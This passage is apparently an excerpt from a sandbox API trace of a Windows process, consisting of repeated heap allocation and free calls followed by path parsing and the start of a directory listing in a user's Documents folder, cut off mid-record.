hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.539] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.540] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.540] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.541] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.541] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.541] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.541] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.541] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.541] PathFindFileNameW (pszPath="") returned="" [0067.541] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, 